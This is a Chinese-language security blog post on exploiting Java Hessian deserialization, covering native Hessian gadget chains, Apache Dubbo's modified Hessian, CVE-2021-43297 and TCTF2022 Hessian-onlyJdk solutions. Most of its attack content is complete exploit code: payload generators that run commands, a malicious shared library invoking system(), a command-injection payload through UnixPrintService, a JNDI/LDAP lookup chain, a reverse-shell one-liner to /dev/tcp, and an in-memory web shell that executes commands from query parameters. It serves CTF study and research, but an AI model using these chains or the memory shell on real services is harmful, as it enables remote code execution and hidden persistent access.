Hessian反序列化

Hessian反序列化

前言

这个hessian反序列化和其他的反序列化有点不同,

这里就是序列化和反序列化不用ObjectOutputStreamObjectInputStream

改为使用对应的Hessian或Hessian2

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

依赖

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.66</version>
</dependency>

原生hessian反序列化链

如果反序列化map对象,在逻辑后面通过put操作,从而触发对key调用hashCode打下去

HessianInput.readObject
	SerializeFactory.readMap
        _hashMapDeserializer = new MapDeserializer(HashMap.class);
        return _hashMapDeserializer.readMap(in);
        	map.put(in.readObject(), in.readObject()); //入口就在这里

JdbcRowSetImpl

package Hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.beanutils.BeanComparator;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;


import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;
import java.util.PriorityQueue;
import java.util.Queue;

public class test implements Serializable {
    public static void main(String[] args) throws Exception {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://localhost:1099/exp";
        jdbcRowSet.setDataSourceName(url);


        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        //手动生成HashMap,防止提前调用hashcode()
        HashMap hashMap = makeMap(equalsBean,"1");

        byte[] s = serialize(hashMap);
        System.out.println(s);
        System.out.println((HashMap)deserialize(s));

    }
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }
    public static <T> byte[] serialize(T o)throws IOException{
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        output.close();
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
    public static <T> T deserialize(byte[] bytes)throws IOException{
        ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(stream);
        Object o = input.readObject();
        return (T) o;
    }
    public static void setValue(Object obj,String name,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Object getValue(Object obj,String name) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }

}

这样看起来好像和普通的使用ObjectOutputStream没什么区别

那下面这条链子区别就来了

TemplatesImpl

这是我们最经常使用的一个类

先说结果,直接用HessianInputTemplatesImpl的链子是无法使用的

要使用jdk原生反序列化即ObjectInputStream才可以

因为TemplateImplreadObject的最后一行有_tfactory = new TransformerFactoryImpl();

分析

但就_tfactory 来说,他被transient修饰,无法通过序列化和反序列化传递数据

但是TemplatesImpl能使用的前提之一就是_tfactory 的值为new TransformerFactoryImpl();

我拿任意一个jackson链子下断点分析

断点就下在_tfactory = new TransformerFactoryImpl();这里

先看正常的ObjectInputStream

然后就往前看调用栈,这里说不了什么,只能看代码

可以看到这三个调用栈调用了7次(不同链子不同

image-20240303220756669

看完这三处的代码后可以知道,大概逻辑就是判断你的类有没有readObject方法,如果有则执行

并且他会判断你所有实例化的类,所以这里才调用了7次(按链条顺序依次判断

大佬们的说法:

如果被反序列化的类重写了readObject(),那么Java就会通过反射来调用重写的readObject()

也就是走到了TemplatesImpl的readObject的方法并把_tfactory 的值赋值为new TransformerFactoryImpl();

image-20240303222606860

要是使用HessianInput的话就不会经过这里

导致最后要执行的TemplatesImpl对象的_tfactory仍为null,导致payload无法执行

image-20240303223332590

解决方法

利用SignedObject进行二次反序列化即可

因为他会利用ObjectInputStream再次进行反序列化

image-20240303223907161

public class test {
    public static void main(String[] args) throws Exception {

        Templates templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
        setValue(templatesimpl,"_name","z");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesimpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Templates proxyObj = (Templates) Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

        POJONode jsonNodes2 = new POJONode(proxyObj);

        BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
        Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val2.setAccessible(true);
        val2.set(exp2,jsonNodes2);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);

        POJONode jsonNodes = new POJONode(signedObject);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonNodes);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString(null));

        HashMap<Object, Object> objectObjectHashMap = makeMap(h1, h2);
        deserialize(serialize(objectObjectHashMap));


    }
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }
    public static <T> byte[] serialize(T o)throws IOException{
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        output.close();
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
    public static <T> T deserialize(byte[] bytes)throws IOException{
        ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(stream);
        Object o = input.readObject();
        return (T) o;
    }
    public static void setValue(Object obj,String name,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Object getValue(Object obj,String name) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }
}

apache dubbo的hessian反序列化

dubbo使用的是alibaba修改过的hessian

<dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo</artifactId>
    <version>2.7.0</version>
</dependency>

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.alibaba.com.caucho.hessian.io.HessianInput;
import com.alibaba.com.caucho.hessian.io.HessianOutput;

JdbcRowSetImpl

如果反序列化map对象,在逻辑后面通过put操作,从而触发对key调用hashCode打ROME

正常打应该是没问题的,因为还是走map.put

image-20240304132426245

TemplatesImpl (行不通

但这里像我们上述分析的就不行了

unknown说法:

原生hessian底层反序列化时,用的unsafe创建对象,与构造函数无关。

alibaba改写的hessian反序列化时,用的JavaDeserializer,会自动挨个测试构造器直到成功

先调用构造方法,属性传null,创建出对象后再设置属性。

因为HotSwappableTargetSource和SignedObject构造方法传参null会报错,所以这两个用不了。

我也发现了他说的这些区别

image-20240304132628672

image-20240304132725956

image-20240304132742378

image-20240304132847307

这一步之后就报错了结束了

具体也不知道咋修改

Apache Dubbo Hessian2异常处理反序列化漏洞(CVE-2021-43297)

image-20240304133410055

如果在使用Hessian2进行反序列化时抛出异常,则会进行字符串拼接操作,进而调用obj的toString()方法

寻找谁调用了expect方法

image-20240304142425270

这里以readString为例,如果tag在switch语句中失配,就会进入default分支的except方法。其他的read方法同理。

public String readString() throws IOException {
        int tag = this.read();
        int ch;
        switch (tag) {
            case 0:
            case 1:
			.。。。
            case 126:
            case 127:
            default:
                throw this.expect("string", tag);
            ......
        }
    }

Boogipop大佬因为搭建了dubbo环境,他是从rpc通信的角度进行利用

但反序列化一般关注的是 readObject, 所以我们研究如何从 readObject 走到 readString, 进而走到 expect

public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {
    if (expectedClass == null || expectedClass == Object.class)
        return readObject();

    int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();

    switch (tag) {
        case 'N':
            return null;

        case 'H': {
			。。。。。。
        }

        case 'M': {
			。。。。。
        }

        case 'C': {
            readObjectDefinition(expectedClass);

            return readObject(expectedClass);
        }

		。。。。。。。。

发现当tag为”C”,即67时会调用readObjectDefinition

private void readObjectDefinition(Class cl)
        throws IOException {
    String type = readString();
    int len = readInt();

    String[] fieldNames = new String[len];
    for (int i = 0; i < len; i++)
        fieldNames[i] = readString();

    ObjectDefinition def = new ObjectDefinition(type, fieldNames);

    if (_classDefs == null)
        _classDefs = new ArrayList();

    _classDefs.add(def);
}

调用了readString

所以现在就是如何让tag的值为67

网上看到的一些方法都是选择重写 writeString 指定第一次 read 的 tag 为 67

image-20240304154845999

重写逻辑为这样

然后在序列化之前wirteString(“aaa”)即可

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
 out.writeString("aaa");
 out.writeObject(o);

在网鼎杯2022 BadBean Hessian2中

序列化时会报HikariDataSource没有实现Serializable接口的错误,用该方法即可

但是一般按理来说hessian可以反序列化未实现serializable接口的类

X1r0z大佬做法

因为 hessian 在读入的时候是按一个个 byte 来读的,在 readObject 里面第一次调用的 this.read() 读取的是序列化后的 byte 数组里的第一个值, 所以只要在 byte 数组的前面再拼一个 67 就行了

woc,这位佬的思路总是那么惊人

      Person person = new Person();
      person.setAge(18);
      person.setName("lingRu");
      byte[] serialize = serialize(person);
byte[] data = Serialization.hessian2Serialize(person);

      byte[] poc = new byte[data.length + 1];
      System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
      System.arraycopy(data, 0, poc, 1, data.length);
      Serialization.hessian2Unserialize(poc);

image-20240304151343061

至于 readString 里面读的第二个 tag 其实也不用考虑, 因为写入的 object 本来就不是 String 类型的, 最终都能够走到 throw this.expect("string", tag)

Boogipop大佬

牛波一

    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    Hessian2Output out = new Hessian2Output(baos);
    baos.write(67);
    out.getSerializerFactory().setAllowNonSerializable(true);
    out.writeObject(s);

实际触发点不止67一个

  1. case 77 调用 readtype ,进入 readInt 触发expect
  2. case 79 调用 readInt 触发expect
  3. case 81 调用 readInt 触发expect

没有实现Serializable接口的处理方法

当你要序列化的类时会报没有实现Serializable接口的错误,直接重写com.alibaba.com.caucho.hessian.io.SerializerFactory#getDefaultSerializer加上一行

this._isAllowNonSerializable = true

[image.png

或者

HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
output.setSerializerFactory(sf);

其实一句代码就能解决

oo.getSerializerFactory().setAllowNonSerializable(true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(s);

Hessian-onlyjdk TCTF2022

基于上述hessian2的toString漏洞,然后找原生类进行利用

解法一

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

// 前提条件:CVE-2021-43297,打toString()
public class Hessian_JavaWrapper {
    public static void main(String[] args) throws Exception {
        PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
        UIDefaults uiDefaults = new UIDefaults();
        JavaClass evil = Repository.lookupClass(test.class);
        String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);

        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));

        setFieldValue(s,"attributes",uiDefaults);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(s);
        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();

    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}
import java.io.IOException;

public class test {
    public static void _main(String[] argv) throws IOException{
        Runtime.getRuntime().exec("calc");
    }
}

几大细节

  1. SwingLazyValue#createValue中可以触发任意类的任意方法,那么就可以实现RCE(其实并不是任意,需要静态和public这两个条件)

image-20240304192321968

  1. 让他执行JavaWrapper._main,我们只需要创建一个恶意类,其中带一个方法名叫_main然后让他加载那么就可以执行命令了

  2. PKCS9Attributes没有无参构造,使用魔术类绕过构造方法

image-20240304191801666

跑个代码看个乐子

解法二

MimeTypeParameterList + SwingLazyValue + MethodUtil.invoke

UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);

SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});

uiDefaults.put("key", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();

setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(mimeTypeParameterList);
out.flushBuffer();


ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();

解法三(写文件)

MimeTypeParameterList+ProxyLazyValue+DumpBytecode.dumpBytecode+System.load

    public static void main(String[] args) throws Exception {
        Unsafe unsafe = getUnsafe();
        Object script = unsafe.allocateInstance(ScriptEnvironment.class);
        setFieldValue(script,"_dest_dir","/tmp/");
        Object debug=unsafe.allocateInstance(DebugLogger.class);
        byte[] code= Files.readAllBytes(Paths.get("./calc.so"));
        String classname="calc";

        //写文件
        UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
                script,
                debug,
                code,
                classname
        });

        //System.load加载so文件
//        UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{
//                "/tmp/calc.class"
//        });

        setFieldValue(proxyLazyValue,"acc",null);
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put("key", proxyLazyValue);

        Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
        Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
        setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(mimeTypeParameterList);
        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Unsafe getUnsafe() throws Exception{
        Class<?> aClass = Class.forName("sun.misc.Unsafe");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
        return unsafe;
    }

写一个文件名为.class的so文件,然后使用System.load加载,因为System.load不管后缀是什么都可以执行

gcc -c calc.c -o calc && gcc calc --share -o calc.so

#include <stdlib.h>
#include <stdio.h>

void __attribute__ ((__constructor__))  calc (){

    system("calc");
}

非预期

直接走的Hashtable.equals这个入口,不从tostring()走

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import com.caucho.hessian.io.*;
import java.io.*;
import java.util.HashMap;
import javax.swing.UIDefaults;
import sun.swing.SwingLazyValue;

public class Hessian_onlyJdk {
    public static void main(final String[] args) throws Exception {
        Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
        Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
        SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});

        UIDefaults uiDefaults1 = new UIDefaults();
        uiDefaults1.put("_", slz);
        UIDefaults uiDefaults2 = new UIDefaults();
        uiDefaults2.put("_", slz);

        HashMap hashMap = makeMap(uiDefaults1,uiDefaults2);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Hessian2Output oo = new Hessian2Output(bos);
        oo.getSerializerFactory().setAllowNonSerializable(true);
        oo.writeObject(hashMap);
        oo.flush();

        ByteArrayInputStream bai = new ByteArrayInputStream(bos.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input(bai);
        hessian2Input.readObject();
    }
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

调用栈

invoke:275, MethodUtil (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
equals:814, Hashtable (java.util)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)

最后使用bash -c $@|bash 0 echo bash -i >& /dev/tcp/ip/port 0>&1反弹shell即可

相关题目存个payload

sun.print.UnixPrintService的利用

因为可以不用实现序列化接口,所以找getter和命令执行的类就行

用方式就是简单命令拼接执行(缺点就是太能弹了,基本上每个get方法都能弹)

Constructor<UnixPrintService> declaredConstructor = UnixPrintService.class.getDeclaredConstructor(String.class);
declaredConstructor.setAccessible(true);
ObjectBean delegate = new ObjectBean(sun.print.UnixPrintService.class,declaredConstructor.newInstance(";open -na Calculator"));

ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> map = JDKUtil.makeMap(root, root);
//
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);

//HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
//sf.setAllowNonSerializable(true);
//output.setSerializerFactory(sf);

output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(map);
output.getBytesOutputStream().flush();
output.completeMessage();
output.close();
System.out.println(new String(Base64.getEncoder().encode(os.toByteArray())));

web服务由com.sun.net.httpserver实现时的内存马

同样是获取线程

import com.sun.net.httpserver.HttpContext;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;
import java.lang.reflect.Field;

public class Yyds extends AbstractTranslet implements HttpHandler {
    public void handle(HttpExchange t) throws IOException {
        String response = "Y4tacker's MemoryShell";
        String query = t.getRequestURI().getQuery();
        String[] var3 = query.split("=");
        System.out.println(var3[0]+var3[1]);
        ByteArrayOutputStream output = null;
        if (var3[0].equals("y4tacker")){
            InputStream inputStream = Runtime.getRuntime().exec(var3[1]).getInputStream();
            output = new ByteArrayOutputStream();
            byte[] buffer = new byte[4096];
            int n = 0;
            while (-1 != (n = inputStream.read(buffer))) {
                output.write(buffer, 0, n);
            }
        }
        response+=("\n"+new String(output.toByteArray()));
        t.sendResponseHeaders(200, (long)response.length());
        OutputStream os = t.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public Yyds() throws Exception  {
        super();
        try{

            Object obj = Thread.currentThread();
            Field field = obj.getClass().getDeclaredField("group");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("threads");
            field.setAccessible(true);
            obj = field.get(obj);
            Thread[] threads = (Thread[]) obj;
            for (Thread thread : threads) {
                if (thread.getName().contains("Thread-2")) {
                    try {
                        field = thread.getClass().getDeclaredField("target");
                        field.setAccessible(true);
                        obj = field.get(thread);
                        System.out.println(obj);

                        field = obj.getClass().getDeclaredField("this$0");
                        field.setAccessible(true);
                        obj = field.get(obj);


                        field = obj.getClass().getDeclaredField("contexts");
                        field.setAccessible(true);
                        obj = field.get(obj);

                        field = obj.getClass().getDeclaredField("list");
                        field.setAccessible(true);
                        obj = field.get(obj);
                        java.util.LinkedList lt = (java.util.LinkedList)obj;
                        Object o = lt.get(0);
                        field = o.getClass().getDeclaredField("handler");

                        field.setAccessible(true);
                        field.set(o,this);
                    }catch (Exception e){
                        e.printStackTrace();
                    }
                }

            }
        }catch (Exception e){
        }
    }

}

reference

被我忘掉的Hessian反序列化 - Boogiepop Doesn’t Laugh (boogipop.com)

unknown’s Blog

[TCTF2022 Hessian-onlyJdk - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/03/21/TCTF2022 _ Hessian-onlyJdk/)

Hessian 反序列化知一二 | 素十八 (su18.org)这位佬写的文章是真的细

0CTF/TCTF 2022 hessian-onlyJdk | Bmth’s blog (bmth666.cn)


Hessian反序列化
https://zer0peach.github.io/2024/03/03/Hessian反序列化/
作者
Zer0peach
发布于
2024年3月3日
许可协议